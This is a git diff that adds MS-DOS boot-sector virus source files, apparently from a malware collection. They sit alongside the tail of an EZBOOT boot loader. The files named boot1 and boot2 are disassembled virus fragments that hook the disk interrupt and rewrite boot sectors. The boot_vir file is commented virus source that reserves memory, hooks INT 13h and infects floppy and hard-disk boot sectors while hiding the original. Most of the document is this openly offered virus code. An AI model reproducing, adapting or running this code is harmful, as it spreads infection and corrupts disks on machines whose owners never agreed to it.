boot sector. +; +; ORG 0410H +; +;SYSTEM_INFO: DB ? ;System info byte: Take bits 6 & 7 and add 1 to get number of +; ;disk drives on this system (eg 01 = 2 drives) +; +; ORG 0475H +; +;HD_COUNT: DB ? ;Number of hard drives in the system +; +;This area is reserved for loading the first sector of the root directory, when +;checking for the existence of system files and loading the first system file. + + ORG 0500H + +DISK_BUF: DW ? ;Start of the buffer + +;Here is the start of the boot sector code. This is the chunk we will take out +;of the compiled COM file and put it in the first sector on a 360K floppy disk. +;Note that this MUST be loaded onto a 360K floppy to work, because the +;parameters in the data area that follow are set up to work only with a 360K +;disk! + + ORG 7C00H + +BOOTSEC: JMP BOOT ;Jump to start of boot sector code + + ORG 7C03H ;This is needed because the jump will get coded as 2 bytes + +DOS_ID: DB 'EZBOOT ' ;Name of this boot sector (8 bytes) +SEC_SIZE: DW 200H ;Size of a sector, in bytes +SECS_PER_CLUST: DB 02 ;Number of sectors in a cluster +FAT_START: DW 1 ;Starting sector for the first File Allocation Table (FAT) +FAT_COUNT: DB 2 ;Number of FATs on this disk +ROOT_ENTRIES: DW 70H ;Number of root directory entries +SEC_COUNT: DW 2D0H ;Total number of sectors on this disk +DISK_ID: DB 0FDH ;Disk type code (This is 360KB) +SECS_PER_FAT: DW 2 ;Number of sectors per FAT +SECS_PER_TRK: DW 9 ;Sectors per track for this drive +HEADS: DW 2 ;Number of heads (sides) on this drive +HIDDEN_SECS: DW 0 ;Number of hidden sectors on the disk + +DSKBASETBL: + DB 0 ;Specify byte 1: step rate time, head unload time + DB 0 ;Specify byte 2: Head load time, DMA mode + DB 0 ;Wait time until motor turned off, in clock ticks + DB 0 ;Bytes per sector (0=128, 1=256, 2=512, 3=1024) + DB 12H ;Last sector number (we make it large enough to handle 1.2/1.44 MB floppies) + DB 0 ;Gap length between sectors for r/w operations, in bytes + DB 0 ;Data transfer length when sector length not specified + DB 0 ;Gap length between sectors for format operations, in bytes + DB 0 ;Value stored in newly formatted sectors + DB 1 ;Head settle time, in milliseconds (we set it small to speed operations) + DB 0 ;Motor startup time, in 1/8 seconds + +HEAD: DB 0 ;Current head to read from (scratch area used by boot sector) + +;Here is the start of the boot sector code + +BOOT: CLI ;interrupts off + XOR AX,AX ;prepare to set up segments + MOV ES,AX ;set ES=0 + MOV SS,AX ;start stack at 0000:7C00 + MOV SP,OFFSET BOOTSEC + MOV BX,1EH*4 ;get address of disk + LDS SI,SS:[BX] ;param table in ds:si + PUSH DS + PUSH SI ;save that address + PUSH SS + PUSH BX ;and its address + + MOV DI,OFFSET DSKBASETBL ;and update default + MOV CX,11 ;values to the table stored here + CLD ;direction flag cleared +DFLT1: LODSB + CMP BYTE PTR ES:[DI],0 ;anything non-zero + JNZ SHORT DFLT2 ;is not a default, so don't save it + STOSB ;else put default value in place + JMP SHORT DFLT3 ;and go on to next +DFLT2: INC DI +DFLT3: LOOP DFLT1 ;and loop until cx=0 + + MOV AL,AH ;set ax=0 + MOV DS,AX ;set ds=0 so we can set disk tbl + MOV WORD PTR [BX+2],AX ;to @DSKBASETBL (ax=0 here) + MOV WORD PTR [BX],OFFSET DSKBASETBL ;ok, done + STI ;now turn interrupts on + INT 13H ;and reset disk drive system +ERROR1: JC ERROR1 ;if an error, hang the machine + +;Here we look at the first file on the disk to see if it is the first MS-DOS or +;PC-DOS system file, IO.SYS or IBMBIO.COM, respectively. +LOOK_SYS: + MOV AL,BYTE PTR [FAT_COUNT] ;get fats per disk + XOR AH,AH + MUL WORD PTR [SECS_PER_FAT] ;multiply by sectors per fat + ADD AX,WORD PTR [HIDDEN_SECS] ;add hidden sectors + ADD AX,WORD PTR [FAT_START] ;add starting fat sector + + PUSH AX + MOV WORD PTR [DOS_ID],AX ;root dir, save it + + MOV AX,20H ;dir entry size + MUL WORD PTR [ROOT_ENTRIES] ;dir size in ax + MOV BX,WORD PTR [SEC_SIZE] ;sector size + ADD AX,BX ;add one sector + DEC AX ;decrement by 1 + DIV BX ;ax=# sectors in root dir + ADD WORD PTR [DOS_ID],AX ;DOS_ID=start of data + MOV BX,OFFSET DISK_BUF ;set up disk read buffer at 0000:0500 + POP AX + CALL CONVERT ;and go convert sequential sector number to bios data + MOV AL,1 ;prepare for a disk read for 1 sector + CALL READ_DISK ;go read it + + MOV DI,BX ;compare first file on disk with + MOV CX,11 ;required file name + MOV SI,OFFSET SYSFILE_1 ;of first system file for PC DOS + REPZ CMPSB + JZ SYSTEM_THERE ;ok, found it, go load it + + MOV DI,BX ;compare first file with + MOV CX,11 ;required file name + MOV SI,OFFSET SYSFILE_2 ;of first system file for MS DOS + REPZ CMPSB +ERROR2: JNZ ERROR2 ;not the same - an error, so hang the machine + +;Ok, system file is there, so load it +SYSTEM_THERE: + MOV AX,WORD PTR [DISK_BUF+1CH] ;get file size of IBMBIO.COM/IO.SYS + XOR DX,DX + DIV WORD PTR [SEC_SIZE] ;and divide by sector size + INC AL ;ax=number of sectors to read + MOV BP,AX ;store that number in BP + MOV AX,WORD PTR [DOS_ID] ;get sector number of start of data + PUSH AX + MOV BX,700H ;set disk read buffer to 0000:0700 +RD_BOOT1: MOV AX,WORD PTR [DOS_ID] ;and get sector to read + CALL CONVERT ;convert to bios Trk/Cyl/Sec info + MOV AL,1 ;read one sector + CALL READ_DISK ;go read the disk + SUB BP,1 ;subtract 1 from number of sectors to read + JZ DO_BOOT ;and quit if we're done + ADD WORD PTR [DOS_ID],1 ;add sectors read to sector to read + ADD BX,WORD PTR [SEC_SIZE] ;and update buffer address + JMP RD_BOOT1 ;then go for another + + +;Ok, the first system file has been read in, now transfer control to it +DO_BOOT: + MOV CH,BYTE PTR [DISK_ID] ;Put drive type in ch + MOV DL,BYTE PTR [DRIVE] ;Drive number in dl + POP BX + JMP FAR PTR LOAD ;and transfer control to the first system file + + +;Convert sequential sector number in ax to BIOS Track, Head, Sector information. +;Save track number in DX, sector number in CH, +CONVERT: + XOR DX,DX + DIV WORD PTR [SECS_PER_TRK] ;divide ax by sectors per track + INC DL ;dl=sector number to start read on, al=track/head count + MOV CH,DL ;save it here + XOR DX,DX + DIV WORD PTR [HEADS] ;divide ax by head count + MOV BYTE PTR [HEAD],DL ;dl=head number, save it + MOV DX,AX ;ax=track number, save it in dx + RET + + +;Read the disk for the number of sectors in al, into the buffer es:bx, using +;the track number in DX, the head number at HEAD, and the sector +;number at CH. +READ_DISK: + MOV AH,2 ;read disk command + MOV CL,6 ;shift possible upper 2 bits of track number to + SHL DH,CL ;the high bits in dh + OR DH,CH ;and put sector number in the low 6 bits + MOV CX,DX + XCHG CH,CL ;ch (0-5) = sector, cl, ch (6-7) = track + MOV DL,BYTE PTR [DRIVE] ;get drive number from here + MOV DH,BYTE PTR [HEAD] ;and head number from here + INT 13H ;go read the disk +ERROR3: JC ERROR3 ;hang in case of an error + RET + +;Move data that doesn't change from this boot sector to the one read in at +;DISK_BUF. That includes everything but the DRIVE ID (at offset 7DFDH) and +;the data area at the beginning of the boot sector. +MOVE_DATA: + MOV SI,OFFSET DSKBASETBL ;Move all of the boot sector code after the data area + MOV DI,OFFSET DISK_BUF + (OFFSET DSKBASETBL - OFFSET BOOTSEC) + MOV CX,OFFSET DRIVE - OFFSET DSKBASETBL + REP MOVSB + MOV SI,OFFSET BOOTSEC ;Move the initial jump and the sector ID + MOV DI,OFFSET DISK_BUF + MOV CX,11 + REP MOVSB + RET + + +SYSFILE_1: DB 'IBMBIO COM' ;PC DOS System file +SYSFILE_2: DB 'IO SYS' ;MS DOS System file + + ORG 7DFDH + +DRIVE: DB 0 ;Drive number, used in disk reads, etc. +BOOT_ID: DW 0AA55H ;Boot sector ID word + + +MAIN ENDS + + + END START + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.boot1.asm b/MSDOS/Virus.MSDOS.Unknown.boot1.asm new file mode 100644 index 00000000..e608d459 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.boot1.asm @@ -0,0 +1,232 @@ + name boot1_asm + .radix 16 + +start: + jmp boot + + db 'IBM 3.3' + dw 200 + db 2 + dw 1 + db 2 + dw 70 + dw 2D0 + db 0FDh + dw 2 + dw 9 + dw 2 + dw 0 + +boot: + xor ax,ax + mov ss,ax + mov sp,7C00 + mov ds,ax + mov ax,[413] + sub ax,2 + mov [413],ax + mov cl,6 + shl ax,cl + sub ax,7C0 + mov es,ax + mov si,7C00 + mov di,si + mov cx,100 + rep movsw + db 8E,0C8 +; mov cs,ax + push cs + pop ds + call n_00014A +n_00014A: + xor ah,ah + int 13 + and byte ptr [7DF8],80 + mov bx,[7DF9] + push cs + pop ax + sub ax,20 + mov es,ax + call n_00019D + mov bx,[7DF9] + inc bx + mov ax,0FFC0 + mov es,ax + call n_00019D + xor ax,ax + mov byte ptr [7DF7],al + mov ds,ax + mov ax,[4C] + mov bx,[4E] + mov [4C],7CD0 + mov [4E],cs + push cs + pop ds + mov [7D2A],ax + mov [7D2C],bx + mov dl,byte ptr [7DF8] + jmp far ptr f_007C00 + + mov ax,301 + jmp short n_0001A0 +n_00019D: + mov ax,201 +n_0001A0: + xchg ax,bx + add ax,[7C1C] + xor dx,dx + div word ptr [7C18] + inc dl + mov ch,dl + xor dx,dx + div word ptr [7C1A] + mov cl,6 + shl ah,cl + or ah,ch + mov cx,ax + xchg ch,cl + mov dh,dl + mov ax,bx +n_0001C3: + mov dl,byte ptr [7DF8] + mov bx,8000 + int 13 + jnb n_0001CF + pop ax +n_0001CF: + ret + + push ds + push es + push ax + push bx + push cx + push dx + push cs + pop ds + push cs + pop es + test byte ptr [7DF7],1 + jne n_000223 + cmp ah,2 + jne n_000223 + cmp byte ptr [7DF8],dl + mov byte ptr [7DF8],dl + jne n_000212 + xor ah,ah + int 1A + test dh,7F + jne n_000203 + test dl,0F0 + jne n_000203 + push dx + call n_0003B3 + pop dx +n_000203: + mov cx,dx + sub dx,[7EB0] + mov [7EB0],cx + sub dx,24 + jb n_000223 +n_000212: + or byte ptr [7DF7],1 + push si + push di + call n_00022E + pop di + pop si + and byte ptr [7DF7],0FE +n_000223: + pop dx + pop cx + pop bx + pop ax + pop es + pop ds + jmp far ptr f_0C833E + +n_00022E: + mov ax,201 + mov dh,0 + mov cx,1 + call n_0001C3 + test byte ptr [7DF8],80 + jz n_000263 + mov si,81BE + mov cx,4 +n_000246: + cmp byte ptr [si+4],1 + je n_000258 + cmp byte ptr [si+4],4 + je n_000258 + add si,10 + loop n_000246 + ret + +n_000258: + mov dx,[si] + mov cx,[si+2] + mov ax,201 + call n_0001C3 +n_000263: + mov si,8002 + mov di,7C02 + mov cx,1C + rep movsb + cmp [81FC],1357 + jne n_00028B + cmp byte ptr [81FBh],0 + jnb n_00028A + mov ax,[81F5] + mov [7DF5],ax + mov si,[81F9] + jmp n_000392 +n_00028A: + ret + +n_00028B: + cmp [800Bh],200 + jne n_00028A + cmp byte ptr [800Dh],2 + jb n_00028A + mov cx,[800E] + mov al,[8010] + cbw + mul word ptr [8016] + add cx,ax + mov ax,20 + mul word ptr [8011] + add ax,1FF + mov bx,200 + div bx + add cx,ax + mov word ptr [7DF5],cx + mov ax,[7C13] + sub ax,[7DF5] + mov bl,[7C0Dh] + xor dx,dx + xor bh,bh + div bx + inc ax + mov di,ax + and byte ptr [7DF7],0FBh + cmp ax,0FF0 + jbe n_0002E0 + or byte ptr [7DF7],4 +n_0002E0: + mov si,1 + mov bx,[7C0E] + dec bx + mov [7DF3],bx + mov byte ptr [7EB2],0FE + jmp short n_000300 + + db 1,0,0C,0,1,0,48,1,0,57,13 + + dw 0AA55 + +n_000300: + + extrn n_000392:near,n_0003B3:near + extrn f_007C00:far,f_0C833E:far + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.boot2.asm b/MSDOS/Virus.MSDOS.Unknown.boot2.asm new file mode 100644 index 00000000..daca78d6 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.boot2.asm @@ -0,0 +1,413 @@ + name boot2_asm + .radix 16 + +n_000100: + inc word ptr [7DF3] + mov bx,[7DF3] + add byte ptr [7EB2],2 + call n_FFFF9D + jmp short n_00014B + +n_000112: + mov ax,3 + test byte ptr [7DF7],4 + je n_00011D + inc ax +n_00011D: + mul si + shr ax,1 + sub ah,byte ptr [7EB2] + mov bx,ax + cmp bx,1FF + jnb n_000100 + mov dx,[bx+8000] + test byte ptr [7DF7],4 + jne n_000145 + mov cl,4 + test si,1 + je n_000142 + shr dx,cl +n_000142: + and dh,0F +n_000145: + test dx,0FFFF + jz n_000151 +n_00014B: + inc si + cmp si,di + jbe n_000112 + ret + +n_000151: + mov dx,0FFF7 + test byte ptr [7DF7],4 + jnz n_000168 + and dh,0F + mov cl,4 + test si,1 + je n_000168 + shl dx,cl +n_000168: + or [bx+8000],dx + mov bx,[7DF3] + call n_FFFF98 + mov ax,si + sub ax,2 + mov bl,byte ptr [7C0Dh] + xor bh,bh + mul bx + add ax,[7DF5] + mov si,ax + mov bx,0 + call n_FFFF9D + mov bx,si + inc bx + call n_FFFF98 + mov bx,si + mov [7DF9],si + push cs + pop ax + sub ax,20 + mov es,ax + call n_FFFF98 + push cs + pop ax + sub ax,40 + mov es,ax + mov bx,0 + call n_FFFF98 + ret + + mov ch,23 + add dh,dh + push es + idiv word ptr [di+2] + jne n_0001DE + or byte ptr [7DF7],2 + mov ax,0 + mov ds,ax + mov ax,[20] + mov bx,[22] + mov [20],7EDF + mov [22],cs + push cs + pop ds + mov [7FC9],ax + mov [7FCBh],bx +n_0001DE: + ret + + push ds + push ax + push bx + push cx + push dx + push cs + pop ds + mov ah,0F ;Get video mode + int 10 + mov bl,al + cmp bx,[7FD4] + je n_000227 + mov [7FD4],bx + dec ah + mov byte ptr [7FD6],ah + mov ah,1 + cmp bl,7 + jne n_000205 + dec ah +n_000205: + cmp bl,4 + jnb n_00020C + dec ah +n_00020C: + mov byte ptr [7FD3],ah + mov word ptr [7FCF],101 + mov word ptr [7FD1],101 + mov ah,3 ;Read cursor position + int 10 + push dx + mov dx,[7FCF] + jmp short n_00024A + +n_000227: + mov ah,3 ;Read cursor position + int 10 + push dx + mov ah,2 ;Set cursor position + mov dx,[7FCF] + int 10 + mov ax,[7FCDh] + cmp byte ptr [7FD3],1 + jne n_000241 + mov ax,8307 +n_000241: + mov bl,ah + mov cx,1 + mov ah,9 ;Write character with attribute + int 10 +n_00024A: + mov cx,[7FD1] + cmp dh,0 + jne n_000258 + xor ch,0FF + inc ch +n_000258: + cmp dh,18 + jne n_000262 + xor ch,0FF + inc ch +n_000262: + cmp dl,0 + jne n_00026C + xor cl,0FF + inc cl +n_00026C: + cmp dl,byte ptr [7FD6] + jne n_000277 + xor cl,0FF + inc cl +n_000277: + cmp cx,[7FD1] + jne n_000294 + mov ax,[7FCDh] + and al,7 + cmp al,3 + jne n_00028B + xor ch,0FF + inc ch +n_00028B: + cmp al,5 + jne n_000294 + xor cl,0FF + inc cl +n_000294: + add dl,cl + add dh,ch + mov [7FD1],cx + mov [7FCF],dx + mov ah,2 ;Set cursor position + int 10 + mov ah,8 ;Read character with attribute + int 10 + mov [7FCDh],ax + mov bl,ah + cmp byte ptr [7FD3],1 + jne n_0002B6 + mov bl,83 +n_0002B6: + mov cx,1 + mov ax,907 ;Write character '\7' with attribute + int 10 + pop dx + mov ah,2 ;Set cursor position + int 10 + pop dx + pop cx + pop bx + pop ax + pop ds + jmp far ptr f_000020 + + add byte ptr [bx+si],al + add word ptr [bx+di],ax + add word ptr [bx+di],ax + add bh,bh + call word ptr [bx+si-49] + mov bh,0B7 + mov dh,40 + inc ax + mov dh,bl + out 5A,al + lodsb + shl ah,cl + jmp far ptr f_0F05E6 + + db '@d\`R@@@@db^b`' + + pop si + jo n_000368 + inc ax + inc cx + mov bh,0B7 + mov bh,0B6 + jmp n_000336 + + db 'IBM 3.3' + dw 200 + db 2 + dw 1 + db 2 + dw 70 + dw 2D0 + db 0FDh + dw 2 + dw 9 + dw 2 + dw 0 + + db 0011h dup (000h) + adc al,byte ptr [bx][si] + add byte ptr [bx][si],al + add byte ptr [bx][di],al + add dl,bh + +boot2: + xor ax,ax + mov ss,ax + mov sp,7C00 + push ss + pop es + mov bx,78 + lds si,ss:[bx] + push ds + push si + push ss + push bx + mov di,7C2Bh + mov cx,0Bh + cld +n_000351: + lodsb + cmp byte ptr es:[di],0 + je n_00035B + mov al,byte ptr es:[di] +n_00035B: + stosb + mov al,ah + loop n_000351 + push es + pop ds + mov [bx+2],ax + mov [bx],7C2Bh + sti + int 13 + jc n_0003D5 + mov al,byte ptr [7C10] + cbw + mul word ptr [7C16] + add ax,[7C1C] + add ax,[7C0E] + mov [7C3F],ax + mov [7C37],ax + mov ax,20 + mul word ptr [7C11] + mov bx,[7C0Bh] + add ax,bx + dec ax + div bx + add [7C37],ax + mov bx,500 + mov ax,[7C3F] + call n_000440 + mov ax,201 + call n_00045A + jb n_0003C2 + mov di,bx + mov cx,0Bh + mov si,7DD6 + rep cmpsb + jne n_0003C2 + lea di,[bx+20] + mov si,7DE1 + mov cx,0Bh + rep cmpsb + je n_0003DA +n_0003C2: + mov si,7D77 +n_0003C5: + call n_000432 + xor ah,ah + int 16 + pop si + pop ds + pop [si] + pop [si+2] + int 19 + +n_0003D5: + mov si,7DC0 + jmp n_0003C5 + +n_0003DA: + mov ax,[51C] + xor dx,dx + div word ptr [7C0Bh] + inc al + mov [7C3C],al + mov ax,[7C37] + mov [7C3Dh],ax + mov bx,700 +n_0003F1: + mov ax,[7C37] + call n_000440 + mov ax,[7C18] + sub al,[7C3Bh] + inc ax + cmp [7C3C],al + jnb n_000408 + mov al,[7C3Ch] +n_000408: + push ax + call n_00045A + pop ax + jb n_0003D5 + sub [7C3C],al + je n_000421 + add [7C37],ax + mul word ptr [7C0Bh] + add bx,ax + jmp n_0003F1 +n_000421: + mov ch,[7C15] + mov dl,[7DFDh] + mov bx,[7C3Dh] + jmp far ptr f_000700 + +n_000432: + lodsb + or al,al + je n_000459 + mov ah,0E ;Write character in TTY graphics mode + mov bx,7 + int 10 + jmp n_000432 + +n_000440: + xor dx,dx + div word ptr [7C18] + inc dl + mov [7C3Bh],dl + xor dx,dx + div word ptr [7C1A] + mov [7C2A],dl + mov [7C39],ax +n_000459: + ret + +n_00045A: + mov ah,2 + mov dx,[7C39] + mov cl,6 + shl dh,cl + or dh,[7C3Bh] + mov cx,dx + xchg ch,cl + mov dl,[7DFDh] + mov dh,[7C2A] + int 13 + ret + + db 0Dh,0A,'Non-System disk or disk error',0Dh,0A + db 'Replace and strike any key when ready',0Dh,0A,0 + db 0Dh,0A,'Disk Boot failure',0Dh,0A,0 + db 'IBMBIO SYS' + db 'IBMDOS SYS' + db 12 dup (0) + dw 0AA55 + + extrn f_000020:far,n_000336:near,n_000368:near + extrn n_FFFF9D:near,n_FFFF98:near + extrn f_000700:far,f_0F05E6:far,f_3FFF98:far + extrn f_3FFF9D:far + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.boot_vir.asm b/MSDOS/Virus.MSDOS.Unknown.boot_vir.asm new file mode 100644 index 00000000..4cc5aab5 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.boot_vir.asm @@ -0,0 +1,315 @@ +;██████████████████████████████████████████████████████████████████████████ +;██ ██ +;██ BOOT_VIR ██ +;██ ██ +;██ Created: 9-Jul-93 Comments by Mike M. ██ +;██ ██ +;██████████████████████████████████████████████████████████████████████████ + +Int60_Offset equ 180h +Int60_Segment equ 182h +main_ram_size_ equ 413h +d_0000_07B4_e equ 7B4h ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 0 + +boot_vir proc far + +start: + nop + nop + nop + cli + xor ax,ax + mov ds,ax + mov ss,ax + mov sp,7C00h + mov si,sp + sti + mov ax,ds:main_ram_size_ + dec ax + mov ds:main_ram_size_,ax + mov cl,6 + shl ax,cl + push ax + mov es,ax + mov cx,200h + xor di,di + rep movsb + mov ax,2Eh + push ax + retf + +SectorNum db 2 ; Location +Cylinder db 27h ; of original +Drive db 0 ; boot sector +Side db 0 ; on infected disk + +boot_vir endp + +;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +; SUBROUTINE +;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + +main proc near + mov ax,word ptr ds:[4Ch] + mov word ptr ds:[180h],ax + mov ax,word ptr ds:[4Eh] + mov word ptr ds:[182h],ax + cli + mov ax,78h + mov word ptr ds:[4Ch],ax + mov word ptr ds:[4Eh],es + mov word ptr ds:[188h],ax + mov word ptr ds:[18Ah],es + mov byte ptr ds:[187h],0EAh + sti + push ds + push cs + pop ds + mov cx,word ptr SectorNum + mov dx,word ptr Drive + cmp Drive,0 + jne loc_006D + push dx + push cx + xor bx,bx + call sub_019F + pop cx + pop dx +loc_006D: + mov ax,201h + pop es + mov bx,sp + push es + push bx + int 60h ; original Int 13h + retf +main endp + + +;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +; SUBROUTINE +;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + +In13_Handler proc near + cmp ah,2 + jne loc_00B9 + cmp dl,80h + jae loc_008A + cmp ch,1 + ja loc_008A + call sub_00CF +loc_008A: + cmp cx,1 + jne loc_00CA + cmp dh,0 + jne loc_00CA + int 60h ; original Int 13h + jnc loc_009B + +loc_ret_0098: + retf 2 +loc_009B: + cmp word ptr es:[bx],9090h + jne loc_ret_0098 + push dx + push cx + push ax + pushf + mov ax,201h + mov cx,es:[bx+2Ah] + mov dx,es:[bx+2Ch] + int 60h ; original Int 13h + popf + pop ax + pop cx + pop dx + jmp short loc_ret_0098 +loc_00B9: + cmp ah,3 + jne loc_00CA + cmp al,2 + jb loc_00CA + cmp dl,80h + jae loc_00CA + call sub_0140 +loc_00CA: + int 60h ; original Int 13h + retf 2 +In13_Handler endp + + +;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +; SUBROUTINE +;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + +sub_00CF proc near + push es + push ax + push bx + push cx + push dx + mov al,1 + mov cx,1 + mov dh,0 + int 60h ; original Int 13h + jc loc_011D + cmp word ptr es:[bx],9090h + je loc_011D + mov ax,es:[bx+13h] + push dx + xor dx,dx + div word ptr es:[bx+18h] + shr ax,1 + dec al + pop dx + mov dh,0 + mov cl,2 + mov ch,al + mov ax,301h + int 60h ; original Int 13h + jc loc_011D + mov cs:Cylinder,ch + mov word ptr cs:Drive,0 + xor bx,bx + push cs + pop es + mov ax,301h + mov cx,1 + mov dh,0 + int 60h ; original Int 13h +loc_011D: + call sub_0126 + pop dx + pop cx + pop bx + pop ax + pop es + retn +sub_00CF endp + + +;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +; SUBROUTINE +;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + +sub_0126 proc near + push ds + xor bx,bx + mov ds,bx + mov bx,d_0000_07B4_e + cmp word ptr [bx],78h + jne loc_013E + cli + mov word ptr [bx],1187h + mov word ptr [bx+2],0FF00h + sti +loc_013E: + pop ds + retn +sub_0126 endp + + +;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +; SUBROUTINE +;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + +sub_0140 proc near + cmp byte ptr es:[bx],0E9h + jne loc_ret_016B + cmp word ptr es:[bx+1],5000h + jb loc_ret_016B + push ds + push si + push di + push cx + mov di,bx + push cs + pop ds + xor si,si + mov cx,200h + rep movsb + mov byte ptr es:[bx],0E9h + mov word ptr es:[bx+1],169h + pop cx + pop di + pop si + pop ds + +loc_ret_016B: + retn +sub_0140 endp + + +;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +; SUBROUTINE +;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + +sub_016C proc near + call sub_016F + +;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ + +sub_016F: + pop bx + push cs + pop es + sub bx,16Fh + mov byte ptr cs:[bx],90h + mov word ptr cs:[bx+1],9090h + xor ax,ax + mov ds,ax + cmp word ptr ds:d_0000_07B4_e,1187h + je loc_019B + les di,dword ptr ds:d_0000_07B4_e + mov ds:Int60_Offset,di + mov ds:Int60_Segment,es + call sub_019F +loc_019B: + mov ah,4Ch + int 21h + +;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ + +sub_019F: + mov ax,201h + push bx + push ax + mov cx,1 + mov dx,80h + add bx,200h + int 60h ; original Int 13h + pop ax + jc loc_01D4 + cmp word ptr es:[bx],9090h + je loc_01D4 + inc ah + push ax + inc cl + int 60h ; original Int 13h + pop ax + jc loc_01D4 + pop bx + mov byte ptr es:[bx+2Ch],80h + mov byte ptr es:[bx+2Bh],0 + dec cl + int 60h ; original Int 13h + retn +loc_01D4: + pop bx + retn +sub_016C endp + + db 40 dup (90h) + db 55h,0AAh + +seg_a ends + + + + end start